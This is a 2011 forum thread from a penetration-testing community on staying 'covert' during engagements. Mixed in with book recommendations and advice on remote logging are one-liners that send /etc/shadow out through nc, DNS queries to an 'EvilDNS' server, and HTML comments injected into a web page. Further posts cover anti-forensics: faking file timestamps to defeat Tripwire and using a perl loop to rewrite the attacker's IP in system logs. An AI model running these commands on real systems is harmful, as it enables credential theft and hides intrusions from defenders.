Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 43 guests and 1 member online
You are here:
Home
Ethical Hacking Discussions and Related Certifications
Network Pen Testing
How to be "Covert"
EH-Net
May 21, 2013, 04:36:16 PM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Network Pen Testing
(Moderator:
don
) >
How to be "Covert"
Pages: [
1
]
Go Down
« previous
next »
Print
Author
Topic: How to be "Covert" (Read 8549 times)
0 Members and 1 Guest are viewing this topic.
H1t M0nk3y
Hero Member
Offline
Posts: 864
How to be "Covert"
«
on:
April 07, 2011, 08:49:08 AM »
Hey everyone,
After reading a few posts on this forum where people (aka sil) are talking about the importance of being
covert
while performing penetration tests, I started to make some quick researches on the web about covert techniques. I already know a bit about it, but really not that much...
To my surprise, I had a hard time finding anything! (but I am at work and some good sites are blocked...).
And since this topic will more than likely be useful to many people, I decided to start a thread dedicated on the subject.
So can you share some links, tricks and techniques?
Thanks
Logged
OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
ajohnson
Recruiters
Hero Member
Offline
Posts: 1057
aka dynamik
Re: How to be "Covert"
«
Reply #1 on:
April 09, 2011, 12:39:06 PM »
Have you read Ninja Hacking by our awesome fellow members?
http://www.amazon.com/Ninja-Hacking-Unconventional-Penetration-Techniques/dp/1597495883/ref=sr_1_1?ie=UTF8&qid=1302370586&sr=8-1
(I unfortunately haven't either, but it's on my list -- just need some time!)
Also, Silence on the Wire is pretty damn interesting:
http://www.amazon.com/Silence-Wire-Passive-Reconnaissance-Indirect/dp/1593270461/ref=sr_1_1?ie=UTF8&qid=1302370592&sr=8-1
The Nmap book covers some IDS-evasion material:
http://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717/ref=sr_1_1?ie=UTF8&qid=1302370597&sr=8-1
Joe McCray's (again, I unfortunately don't know from first-hand experience) Advanced Penetration Testing course seems awesome too:
http://www.learnsecurityonline.com/offerings/courses/222-apt
Um, any of Sil's posts?
Was this in response to my post in the threat on brute-forcing during a web app pen test? I actually just logged back on to see what the response to that was. I expect it to be... interesting
Logged
WIP: GCFA |
www.infosiege.net
| @infosiege
The day you stop learning is the day you start becoming obsolete.
chrisj
Hero Member
Offline
Posts: 1163
Re: How to be "Covert"
«
Reply #2 on:
April 09, 2011, 04:29:07 PM »
For a wireless attack, I'd make sure your system attack system isn't screaming it's head off as soon as you connect.
I've been playing with my wireless lab, one box monitoring traffic only, and one box to attack the lab (wanted to see what the attack looked like). As soon as I joined the wireless network, my attack box (debian) started doing NTP requests, update requests, tried to connect to google (when I opened the browser), and other things.
It was all based on how I have the box set up, but still didn't think it was being that noisy.
Logged
OSWP, Sec+
sil
Hero Member
Offline
Posts: 549
Re: How to be "Covert"
«
Reply #3 on:
April 09, 2011, 04:51:57 PM »
So let's look at the realities of being covert, not really "doable" per-se, but accomplishable. In order to understand being/remaining covert it, you need to understand networking for the technical problems and common sense from the penetration testing - I need to get this done, side.
In order not to "get flagged/caught," you need to know that unless you blindly spoof with 100% assurance that your exploit will work on the other side, it's a very difficult almost impossible task to remain 100% invisible.
As many will know, when you spoof tcp/udp/icmp/ip as a whole, you can never see the return information. You were never and will never be, the intended recipient. So this is what occurs for those who are unfamiliar with it:
Me [10.10.10.1] --> attack target [10.20.30.1] : pretend to be someone else [10.25.50.1]
I can perform this all day long and any responses will look like the following to some degree:
attack target's log: 10.25.50.1 DID_SOMETHING ... respond to 10.25.50.1
I can never see the return data going back and forth in that stream unless I was on the 10.25.50.x or th 10.20.30.x network.
Now let's suppose that I had an account somewhere on any one of these networks. Say, 10.20.30.2. Imagine this was an open network in a park somewhere.
Me:[on a shell at 10.20.30.2] --> attack target [10.20.30.1] : pretend to be someone else [10.25.50.1]
Since I'm on the network, I can turn on a sniffer and depending on how the network is configured, I can see those two hosts responding to one another. (If VLANs aren't properly configured, if I MITMd the router, etc.)
So a potential attack:
Me:[on a shell at 10.20.30.2] --> attack target [10.20.30.1] --> pretend to be 10.25.50.1 && tcpdump 'ip host 10.20.30.2' -C 1024 -i eth??
This will allow me to see what transpires during this attack. So what can I do? I can blind spoof say an exploit as someone else and watch sniffer output results on the way back and forth. If I see that via sniffing the exploit was successful, I know I can continue blindly spoofing to my heart's content. Because I am not visible, even if detected, I am never blocked, someone else is. Also, I'd positively know that my exploit worked, so that any other host I choose to use is successful. On the way back out, I can create reverse connections in the same manner. (Blindly going on knowing I will successfully go out).
Without getting into too much detail about programs or specific commands, imagine me sending a raw nc out out ANYWHERE:
more /etc/shadow | nc google.com 80
Makes no sense eh? Why not? If sniffing on the network I get to see the output. Obviously Google.com has nothing to do with the shadow file. There is no target to attribute the attack to. I still get what I needed.
What about:
more /etc/shadow | sed 's:^:<\!--:g;s:$:-->:g' >> /path/to/target/webserver/index.html
Now the output of the shadow file is an html comment inside of a webpage. You can use a proxy to view the webpage. There are a lot of ways to be covert. BOSH [1] is also good for stuff like this. So its not about "not being detected" as that is difficult. You will either need to blend in with the crowd, or use blind spoofiing + creativity to overcome being blocked.
[1]
http://xmpp.org/extensions/xep-0124.html
Logged
http://www.infiltrated.net/mgz/puppylecter.jpg
ajohnson
Recruiters
Hero Member
Offline
Posts: 1057
aka dynamik
Re: How to be "Covert"
«
Reply #4 on:
April 09, 2011, 07:54:58 PM »
That HTML comment technique is pretty slick
This leading into covert channels, steganography, ADS, etc.
DNS is fun too. Here's a sample I whipped up to cure some boredom (er, boredumb
):
FakeTLD=google.com.; EvilDNS=172.16.1.11; cat /etc/shadow | od -t x1 -A n | sed 's/ //' | tr " " - | while read line; do host -r $line.$FakeTLD $EvilDNS $1>/dev/null; sleep 30; done;
//variables added for clarity
Sample excerpts on target server:
(47)47-35-72-6e-6e-4c-4c-4d-58-77-5a-6c-2e-63-69-6b(6)google(3)com(0)
(47)75-6c-54-67-34-77-74-58-6a-71-39-38-56-6c-63-66(6)google(3)com(0)
«
Last Edit: April 09, 2011, 07:58:14 PM by dynamik
»
Logged
WIP: GCFA |
www.infosiege.net
| @infosiege
The day you stop learning is the day you start becoming obsolete.
tturner
Sr. Member
Offline
Posts: 432
Re: How to be "Covert"
«
Reply #5 on:
April 09, 2011, 08:04:40 PM »
Not that I've ever had a reason to but I've always been told that's what UDP spoof, fire and forget is for. Makes sense in theory but I would imagine would take some work in a lab beforehand to understand what kind of traffic you should be sending/fake-responding to.
Logged
Certifications:
CISSP, CISA, GPEN, GWAPT, GAWN, GCIA, GCIH, GSEC, OPSE, CSWAE, CSTP, VCP
WIP: OSWP, GSSP-JAVA, GXPN
Udacity on hold, again. I suck.
http://sentinel24.com/blog
@tonylturner
http://bsidesorlando.org
sil
Hero Member
Offline
Posts: 549
Re: How to be "Covert"
«
Reply #6 on:
April 09, 2011, 08:28:12 PM »
tturner... The issue/beauty/benefit of using UDP is because its not monitored as much. Most client/server connections, whether legit or not are largely going to be using TCP for error correction. UDP is painless however, when xferring data, the last thing you want is corruption. ICMP tunneling is great because ICMP is largely unmonitored OUTBOUND (leaving a network) so it makes for nice tunneling however, it all boils down to your transfer rates, destinations, etc. Now, DNS shoveling
whole nother ballgame too but its complicated.
I think the best way to maintain a low key profile is to blend in however, if this not possible, then its ALWAYS a must to plan ahead: 1) What is my goal (xfer data as a PoC, pivot through the network, upload a token of proof, etc) 2) How can I accomplish this... 3) How can I accomplish this blindly... What commands WOULD I use in my lab, and what would I see as the outcome if I were defending the target.
It always pays to wargame yourself... ALWAYS. Breaking in is sort of the easy part, defending is the hard part. Now take that concept (defending) and when you're comfortable, attack your defense. Rinse and repeat. Eventually you'll get more used to dealing with matters of "covert/needle in the haystack, etc. However, you need to understand what is being seen when you attack in order to tweak this. This is why SIEM, syslog, tail -fing logs, wireshark and network analysis comes in handy. Which reminds me... I should knock out the CWNA soon.
Logged
http://www.infiltrated.net/mgz/puppylecter.jpg
tturner
Sr. Member
Offline
Posts: 432
Re: How to be "Covert"
«
Reply #7 on:
April 10, 2011, 12:14:24 PM »
Yeah in almost every environment that locked down all the tcp/udp stuff they almost always allow outbound ICMP, maybe because "ping google.com" is step 2 in their network troubleshooting scripts. I was looking at buying a couple pwn plugs from
http://pwnieexpress.com/
and the ability to natively tunnel SSH over ICMP was a big plus for me (If you use the 3G version it will send me a SMS message when the tunnel comes up, how cool is that?). Yes I know this can be done without their solution - but it's already setup more or less.
I started work on CWNA via self study a couple years ago and then got sidetracked by the SANS wireless track (SEC617). It's been on my radar to followup but never got around to it. If I'm not mistaken fellow forum member JrGong is a CWNA. It seems like a good program.
Logged
Certifications:
CISSP, CISA, GPEN, GWAPT, GAWN, GCIA, GCIH, GSEC, OPSE, CSWAE, CSTP, VCP
WIP: OSWP, GSSP-JAVA, GXPN
Udacity on hold, again. I suck.
http://sentinel24.com/blog
@tonylturner
http://bsidesorlando.org
sil
Hero Member
Offline
Posts: 549
Re: How to be "Covert"
«
Reply #8 on:
April 10, 2011, 03:30:50 PM »
Quote from: tturner on April 10, 2011, 12:14:24 PM
If I'm not mistaken fellow forum member JrGong is a CWNA. It seems like a good program.
Well, I've known Laura for over 10 years now since the days she used to write for Cisco and I can say that, she is the defacto network forensics expert if I've ever known one. She's also really down to earth. For the most part, many in this field (security) skimp on the networking side of the equation almost forgetting that without a network 99.9999% of the "hack" doesn't exist.
Plugs are cool however I almost always find that there will be a high ratio (above 95%) of client side attacks available to get a foot in the door. As for SSH'ing over anything, I try not to introduce any applications into an environment in case there is a file integrity mechanism (Tripwire, etc) in place.
Logged
http://www.infiltrated.net/mgz/puppylecter.jpg
ajohnson
Recruiters
Hero Member
Offline
Posts: 1057
aka dynamik
Re: How to be "Covert"
«
Reply #9 on:
April 10, 2011, 08:03:31 PM »
Quote from: tturner on April 10, 2011, 12:14:24 PM
I started work on CWNA via self study a couple years ago and then got sidetracked by the SANS wireless track (SEC617). It's been on my radar to followup but never got around to it. If I'm not mistaken fellow forum member JrGong is a CWNA. It seems like a good program.
I think sil meant WCNA, the Wireshark cert.
CWNA provides a pretty good foundation for 802.11. However, the CWSP focused a lot on the EAP types and configuration. There wasn't much regarding different attacks, intrusion detection, etc.
Logged
WIP: GCFA |
www.infosiege.net
| @infosiege
The day you stop learning is the day you start becoming obsolete.
tturner
Sr. Member
Offline
Posts: 432
Re: How to be "Covert"
«
Reply #10 on:
April 10, 2011, 11:21:47 PM »
Yup, I meant CWNA. I have the Wireshark book for WCNA as well and it's on my radar but I only have so much time
Would be a great complement to GCIA I think.
Logged
Certifications:
CISSP, CISA, GPEN, GWAPT, GAWN, GCIA, GCIH, GSEC, OPSE, CSWAE, CSTP, VCP
WIP: OSWP, GSSP-JAVA, GXPN
Udacity on hold, again. I suck.
http://sentinel24.com/blog
@tonylturner
http://bsidesorlando.org
H1t M0nk3y
Hero Member
Offline
Posts: 864
Re: How to be "Covert"
«
Reply #11 on:
April 11, 2011, 10:37:03 PM »
Quote
Me:[on a shell at 10.20.30.2] --> attack target [10.20.30.1] --> pretend to be 10.25.50.1 && tcpdump 'ip host 10.20.30.2' -C 1024 -i eth??
This will allow me to see what transpires during this attack. So what can I do? I can blind spoof say an exploit as someone else and watch sniffer output results on the way back and forth. If I see that via sniffing the exploit was successful, I know I can continue blindly spoofing to my heart's content. Because I am not visible, even if detected, I am never blocked, someone else is. Also, I'd positively know that my exploit worked, so that any other host I choose to use is successful. On the way back out, I can create reverse connections in the same manner. (Blindly going on knowing I will successfully go out).
Answers to problem always look so easy when they are explained to you... Thanks sil, very good explaination!!!
Quote
t always pays to wargame yourself... ALWAYS. Breaking in is sort of the easy part, defending is the hard part. Now take that concept (defending) and when you're comfortable, attack your defense. Rinse and repeat. Eventually you'll get more used to dealing with matters of "covert/needle in the haystack, etc.
That was my goal, after reading this post!
Another thing, I guess it pays a lot know what protections are in place. Like sil mentioned, if Tripwire is installed, it's good to know what the tool does and what you can't do. Same thing with antivirus. Knowing which one is installed can probably help you craft your exploits accordingly (I am doing OSCE right now
). Erasing logs is also another good thing IF it is possible.
Humm, interesting posts...
I am always amazed by people on this forum. Thanks again!!!
Logged
OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
sil
Hero Member
Offline
Posts: 549
Re: How to be "Covert"
«
Reply #12 on:
April 12, 2011, 06:51:08 AM »
Quote from: H1t M0nk3y on April 11, 2011, 10:37:03 PM
Erasing logs is also another good thing IF it is possible.
I don't bother with this as it is a wasted time and I will explain why. In a properly designed network, log files should never be written locally. They should be written to a remote host that is well defended, either via Syslog-ng, Snare or similar. This allows the incident response team to have untainted information in the sense that an attacker would then have to break into the syslog server to remove their tracks. This is one of the biggest failures in environments (not properly logging).
With that said, the alternative would be to generate heaps of bogus data to keep an analyst overwhelmed with trying to determine what went on. For instances like Tripwire, the work around would be to poison the checksums across the whole board. This could mean something as simple as using the random command to randomly touch (with a random date) every single binary on a system. This will lead an analyst to trust nothing as their POV will be that everything is tainted.
I wrote a quick script similar to Tripwire a while back as a proof of concept for myself. (
http://infiltrated.net/scripts/saki.html
) The script calculates three distinct checksums in the event of MD5 or SHA1 collisions. (It also used RMD160 checksums). It is called from crontab, makes a quick check, does a diff from the original file which is run prior to deployment. It does great to protect against collisions, but nothing against attacks like timestomp, etc.
So while erasing logs may work sometimes, it does nothing for the defense-counter-offense vector. All it tells your client is that their defense is lagging. This is evident because you're in their house anyway. An optional workaround to HIDING your tracks would be scripting in a "cleanup" like function to regex replace your identifiable information with bogus info. E.g.:
Code:
while
I_LOG_IN_FROM_THIS_IP
do
perl -pi -e 's:$MY_IP_ADDRESS:RANDOM_ADDRESS:g' /var/log/auth.log |\
|| perl -pi -e 's:$MY_IP_ADDRESS:RANDOM_ADDRESS:g' /var/log/last.log
done
Something to that tune. This ensures that on your way in and out, your identifiable information is sanitized (not erased). Again, this does nothing for remote logging however, as explained, blind tcp spoofing when done properly can defend against this. As for the shadow file embedded into HTML, this defeats most DLP as nothing is ever copied, moved, transferred and applies to all documents protected by DLP.
As for the CWNA. WCNA... Too many acronyms... I meant the Wireshark Certified Network Analyst sorry
Logged
http://www.infiltrated.net/mgz/puppylecter.jpg
H1t M0nk3y
Hero Member
Offline
Posts: 864
Re: How to be "Covert"
«
Reply #13 on:
April 12, 2011, 07:27:23 AM »
Thanks again Sil. I put the "if" in capital letters because I was thinking about remote logging, but this:
Quote
With that said, the alternative would be to generate heaps of bogus data to keep an analyst overwhelmed with trying to determine what went on. For instances like Tripwire, the work around would be to poison the checksums across the whole board.
This shows another side of being covert.
I now get the point that being "covert" could mean being all dressed up in camouflage and crawling in the woods, but it can also mean walking in plain sight in the middle of a crowd. in addition, you can be "covert" if you walk alone in plain sight, as long as you can delete the video recording tapes!
Thanks again
Logged
OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
lorddicranius
Sr. Member
Offline
Posts: 447
Re: How to be "Covert"
«
Reply #14 on:
April 12, 2011, 10:36:01 AM »
Quote from: H1t M0nk3y on April 11, 2011, 10:37:03 PM
Same thing with antivirus. Knowing which one is installed can probably help you craft your exploits accordingly (I am doing OSCE right now
).
I just learned of that yesterday while listening to the
ISD podcast
, ep361!
They were talking about the Hartford breach and how the press release they sent out gave the vendor specific name of the virus rather than just the generic name. Which in turn tells everybody which AV solution you're using. That's good to know...
And those are some great tips, Sil - thanks!
«
Last Edit: April 12, 2011, 05:17:17 PM by lorddicranius
»
Logged
GSEC, eCPPT, Sec+
Pages: [
1
]
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
Programming
: Finished Python Course in Codecademy now what?
(13) by
securitian
Network Pen Testing
: Ruby on Rails Vulnerabilities/Attacks in BackTrack 5 r3
(0) by
SUdoctstudent
Network Pen Testing
: De-ICE 1.140 released!
(2) by
superkojiman
Network Pen Testing
: AIX Vulnerability Assessments
(1) by
3xban
General Certification
: CPT Practical Submission
(1) by
UNIX
OSCP - Offensive Security Certified Professional
: Failed my first attempt at the OSCP exam
(94) by
azmatt
Tools
: Social-Engineer Toolkit (SET) Version 5.0 “The Wild West” Released
(2) by
m0wgli
Malware
: EICAR?
(3) by
UKSecurityGuy
Advisories
: HTB23154: Multiple Vulnerabilities in Exponent CMS
(0) by
AndyP
Advisories
: HTB23153: Multiple Vulnerabilities in Jojo CMS
(0) by
AndyP
Advisories
: HTB23151: Cross-Site Request Forgery (CSRF) in UMI.CMS
(0) by
AndyP
Tutorials
: Need guidance
(8) by
r0ckm4n
OSCP - Offensive Security Certified Professional
: Class Scheduled 6/8 - Linux n00b
(7) by
Taemyks
OSCP - Offensive Security Certified Professional
: OSCP exam scheduled
(6) by
gbhat
Incident Response
: LinkedIn Forensics
(0) by
AFENTIS_Forensics
General Certification
: Red Team/Blue Team
(1) by
ajohnson
Career Central
: Starter cert?
(3) by
Grendel
Network Pen Testing
: Beginner Ethical Hacker
(1) by
m0wgli
Web Applications
: Nessus and Nikto
(4) by
Seen
Network Pen Testing
: Cracking salted MD5 hash
(4) by
n37sh@rk
CEH - Certified Ethical Hacker
: Passed my C|EH
(3) by
n37sh@rk
Mass Media
: EC-council hacked, irony at his best?
(0) by
j0rDy
Web Applications
: SQL Injection into an INSERT statement.
(6) by
eyenit0
Network Pen Testing
: Solution for sipXtapi INVITE Message CSeq Field Header Remote Overflow
(1) by
m0wgli
Web Applications
: dns
(2) by
H1t M0nk3y
Other
: BSides Boston
(0) by
3xban
Career Central
: InfoSec in Central, FL
(2) by
tturner
Web Applications
: Web vulnerability scanner
(4) by
H1t M0nk3y
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.